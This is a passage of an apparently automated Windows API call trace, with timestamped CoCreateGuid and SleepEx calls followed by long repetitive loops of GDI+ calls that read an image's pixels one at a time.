(in: pguid=0x563ef30 | out: pguid=0x563ef30*(Data1=0x933c93f4, Data2=0x3a07, Data3=0x4924, Data4=([0]=0x96, [1]=0x6e, [2]=0x61, [3]=0x61, [4]=0xf1, [5]=0x4a, [6]=0xe6, [7]=0xd3))) returned 0x0 [0051.738] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0051.741] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0055.194] CoCreateGuid (in: pguid=0x563efa4 | out: pguid=0x563efa4*(Data1=0xe65c482d, Data2=0x9288, Data3=0x47f5, Data4=([0]=0xbf, [1]=0x56, [2]=0x3d, [3]=0xee, [4]=0xf6, [5]=0x33, [6]=0x21, [7]=0x55))) returned 0x0 [0055.210] CoCreateGuid (in: pguid=0x563e138 | out: pguid=0x563e138*(Data1=0xefefc68d, Data2=0x60e4, Data3=0x419c, Data4=([0]=0xa4, [1]=0xb8, [2]=0xbd, [3]=0xf5, [4]=0xc6, [5]=0xd3, [6]=0x6c, [7]=0xd7))) returned 0x0 [0056.856] GdipGetImageWidth (image=0x4c35300, width=0x563e154) returned 0x0 [0056.856] GdipGetImageHeight (image=0x4c35300, height=0x563e154) returned 0x0 [0056.856] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.856] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.856] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=0, color=0x563e140) returned 0x0 [0056.866] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.866] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.866] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=1, color=0x563e140) returned 0x0 [0056.866] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.866] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.866] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=2, color=0x563e140) returned 0x0 [0056.866] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.866] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.866] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=3, color=0x563e140) returned 0x0 [0056.866] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.866] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.866] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=4, color=0x563e140) returned 0x0 [0056.866] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.866] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.866] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=5, color=0x563e140) returned 0x0 [0056.867] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.867] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.867] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=6, color=0x563e140) returned 0x0 [0056.867] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.867] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.867] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=7, color=0x563e140) returned 0x0 [0056.867] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.867] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.867] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=8, color=0x563e140) returned 0x0 [0056.867] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.867] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.867] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=9, color=0x563e140) returned 0x0 [0056.867] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.867] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.867] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=10, color=0x563e140) returned 0x0 [0056.867] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.867] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.867] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=11, color=0x563e140) returned 0x0 [0056.867] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.867] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.867] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=12, color=0x563e140) returned 0x0 [0056.867] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.867] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.867] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=13, color=0x563e140) returned 0x0 [0056.867] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.867] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.867] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=14, color=0x563e140) returned 0x0 [0056.867] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.867] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.868] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=15, color=0x563e140) returned 0x0 [0056.868] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.868] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.868] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=16, color=0x563e140) returned 0x0 [0056.868] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.868] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.868] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=17, color=0x563e140) returned 0x0 [0056.868] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.868] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.868] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=18, color=0x563e140) returned 0x0 [0056.868] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.868] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.868] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=19, color=0x563e140) returned 0x0 [0056.868] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.868] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.868] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=20, color=0x563e140) returned 0x0 [0056.868] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.868] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.868] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=21, color=0x563e140) returned 0x0 [0056.868] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.868] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.868] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=22, color=0x563e140) returned 0x0 [0056.868] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.868] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.868] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=23, color=0x563e140) returned 0x0 [0056.868] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.869] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.869] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=24, color=0x563e140) returned 0x0 [0056.869] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.869] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.869] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=25, color=0x563e140) returned 0x0 [0056.869] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.869] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.869] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=26, color=0x563e140) returned 0x0 [0056.869] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.869] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.869] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=27, color=0x563e140) returned 0x0 [0056.869] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.869] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.869] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=28, color=0x563e140) returned 0x0 [0056.869] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.869] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.869] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=29, color=0x563e140) returned 0x0 [0056.869] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.869] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.869] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=30, color=0x563e140) returned 0x0 [0056.869] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.869] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.869] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=31, color=0x563e140) returned 0x0 [0056.869] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.869] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.869] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=32, color=0x563e140) returned 0x0 [0056.869] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.870] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.870] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=33, color=0x563e140) returned 0x0 [0056.870] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.870] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.870] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=34, color=0x563e140) returned 0x0 [0056.870] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.870] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.870] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=35, color=0x563e140) returned 0x0 [0056.870] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.870] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.870] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=36, color=0x563e140) returned 0x0 [0056.870] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.870] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.870] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=37, color=0x563e140) returned 0x0 [0056.870] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.870] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.870] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=38, color=0x563e140) returned 0x0 [0056.870] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.870] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.870] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=39, color=0x563e140) returned 0x0 [0056.870] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.870] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.870] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=40, color=0x563e140) returned 0x0 [0056.870] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.870] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.870] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=41, color=0x563e140) returned 0x0 [0056.871] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.871] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.871] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=42, color=0x563e140) returned 0x0 [0056.871] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.871] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.871] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=43, color=0x563e140) returned 0x0 [0056.871] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.871] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.871] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=44, color=0x563e140) returned 0x0 [0056.871] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.871] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.871] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=45, color=0x563e140) returned 0x0 [0056.871] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.871] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.871] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=46, color=0x563e140) returned 0x0 [0056.871] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.871] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.871] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=47, color=0x563e140) returned 0x0 [0056.871] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.871] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.871] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=48, color=0x563e140) returned 0x0 [0056.871] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.871] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.871] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=49, color=0x563e140) returned 0x0 [0056.871] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.871] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.872] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=50, color=0x563e140) returned 0x0 [0056.872] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.872] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.872] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=51, color=0x563e140) returned 0x0 [0056.872] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.872] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.872] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=52, color=0x563e140) returned 0x0 [0056.872] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.872] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.872] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=53, color=0x563e140) returned 0x0 [0056.872] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.872] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.872] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=54, color=0x563e140) returned 0x0 [0056.872] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.872] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.872] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=55, color=0x563e140) returned 0x0 [0056.872] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.872] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.872] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=56, color=0x563e140) returned 0x0 [0056.872] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.872] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.872] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=57, color=0x563e140) returned 0x0 [0056.872] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.872] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.872] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=58, color=0x563e140) returned 0x0 [0056.872] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.872] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.872] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=59, color=0x563e140) returned 0x0 [0056.872] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.873] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.873] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=60, color=0x563e140) returned 0x0 [0056.873] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.873] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.873] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=61, color=0x563e140) returned 0x0 [0056.873] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.873] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.873] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=62, color=0x563e140) returned 0x0 [0056.873] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.873] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.873] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=63, color=0x563e140) returned 0x0 [0056.873] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.873] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.873] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=64, color=0x563e140) returned 0x0 [0056.873] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.873] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.873] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=65, color=0x563e140) returned 0x0 [0056.873] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.873] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.873] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=66, color=0x563e140) returned 0x0 [0056.873] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.873] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.873] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=67, color=0x563e140) returned 0x0 [0056.873] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.874] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.874] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=68, color=0x563e140) returned 0x0 [0056.874] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.874] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.874] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=69, color=0x563e140) returned 0x0 [0056.874] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.874] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.874] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=70, color=0x563e140) returned 0x0 [0056.874] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.874] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.874] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=71, color=0x563e140) returned 0x0 [0056.874] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.874] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.874] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=72, color=0x563e140) returned 0x0 [0056.874] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.874] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.874] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=73, color=0x563e140) returned 0x0 [0056.874] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.874] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.874] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=74, color=0x563e140) returned 0x0 [0056.874] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.874] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.874] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=75, color=0x563e140) returned 0x0 [0056.874] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.874] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.874] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=76, color=0x563e140) returned 0x0 [0056.875] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.875] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.875] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=77, color=0x563e140) returned 0x0 [0056.875] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.875] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.875] GdipBitmapGetPixel (bitmap=0x4c35300, x=0, y=78, color=0x563e140) returned 0x0 [0056.875] GdipGetImageHeight (image=0x4c35300, height=0x563e154) returned 0x0 [0056.875] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.875] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.875] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=0, color=0x563e140) returned 0x0 [0056.875] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.875] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.875] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=1, color=0x563e140) returned 0x0 [0056.875] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.875] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.875] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=2, color=0x563e140) returned 0x0 [0056.875] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.875] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.875] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=3, color=0x563e140) returned 0x0 [0056.875] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.875] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.875] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=4, color=0x563e140) returned 0x0 [0056.875] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.875] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.875] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=5, color=0x563e140) returned 0x0 [0056.875] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.875] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.875] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=6, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.876] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=7, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.876] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=8, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.876] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=9, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.876] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=10, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.876] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=11, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.876] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=12, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.876] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=13, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.876] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=14, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.876] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=15, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.876] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=16, color=0x563e140) returned 0x0 [0056.876] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.876] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=17, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=18, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=19, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=20, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=21, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=22, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=23, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=24, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=25, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight 